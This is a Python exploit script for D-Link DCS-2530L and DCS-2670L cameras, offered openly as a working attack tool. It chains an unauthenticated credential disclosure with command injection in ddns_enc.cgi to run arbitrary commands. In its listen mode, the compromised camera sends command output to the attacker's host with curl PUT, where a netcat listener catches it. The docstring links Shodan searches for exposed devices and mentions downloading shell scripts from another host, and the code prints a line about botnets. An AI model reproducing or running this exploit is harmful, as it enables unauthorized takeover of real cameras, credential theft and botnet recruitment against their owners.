'''
Usage:
Copy the url straight from firefox. If you want to get a netcat listener you need netcat installed
and the listening port specified within open obviously.
Blind execution - python3 exploit.py http://1.2.3.4/ "curl http://pingb.in/p/xxxxxxxxxxxxxxxxxx"
Netcat listener - python3 exploit.py http://1.2.3.4/ "cat /proc/cpuinfo" --listen
Info:
By chaining together an unauthenticated credential disclouse 0day in multiple
Dlink DCS cameras with an authenticated command injection in ddns_enc.cgi - it
is possible to gain RCE.
Confirmed vulnerable:
DCS-2530L, DCS-2670L
https://www.shodan.io/search?query=DCS-2670L
https://www.shodan.io/search?query=DCS-2530L
Limitations:
The length of the 'account' parameter is limited to 55 characters. Longer commands
can be executed via piping characters with "echo -ne" to a .sh or downloading a .sh
from another host.
The payload will be executed every 5 seconds on the host while the payload in the account
parameter is set. This exploit triies to auto terminate after 1 execution. Ajust timing if needed.
Patch:
Dlink has released an advisory for the DCS-2530L but no patch. Don't port forward the
camera until one has been released.
Don't be an ass. Don't brick other people's shit. I'm not responsible for anything lmfao - @dogonsecurity
'''
import requests, sys, argparse, time, os
from time import sleep
from requests import get
from urllib3.exceptions import InsecureRequestWarning
def getcreds(host):
try:
r = requests.get(host + "/config/getuser?index=0", verify=False, timeout=5)
data = r.text.split("\n")
credentials = []
credentials.append(data[0].replace("name=", "").replace("\r", ""))
credentials.append(data[1].replace("pass=", "").replace("\r", ""))
return credentials
except Exception as e:
print(e)
def execpayload(host, creds, payload):
try:
url = "/cgi-bin/ddns_enc.cgi?enable=1&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account="
endexec = "/cgi-bin/ddns_enc.cgi?enable=0&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account=aaaa"
# DEBUG print(payload)
if not args.listen:
payload = "{};{};".format(url,payload)
r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)
print("Sent payload... Waiting for execution.")
sleep(4)
r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)
print("Blind exploit complete. Did it work :)?")
else:
ourip = get('https://api.ipify.org').text
ourport = 3 #Change if you need to
payload = "{};{} >a;curl -XPUT {}:{} -T a;".format(url,payload,ourip,ourport)
# DEBUG print(payload)
r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)
print("Sent payload... Waiting for execution.")
os.system("sudo nc -lvp 3 &")
sleep(7)
r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)
os.system("sudo pkill -f nc")
print("Listening exploit complete.")
except Exception as e:
print(e)
print("Hoho is the future of botnet!!11!!")
parser = argparse.ArgumentParser()
parser.add_argument("target", help="target",type=str)
parser.add_argument("payload", help="payload",type=str)
parser.add_argument("--listen", action='store_true')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
creds = getcreds(args.target)
print("Got credentials: " + str(creds))
execpayload(args.target, creds, args.payload)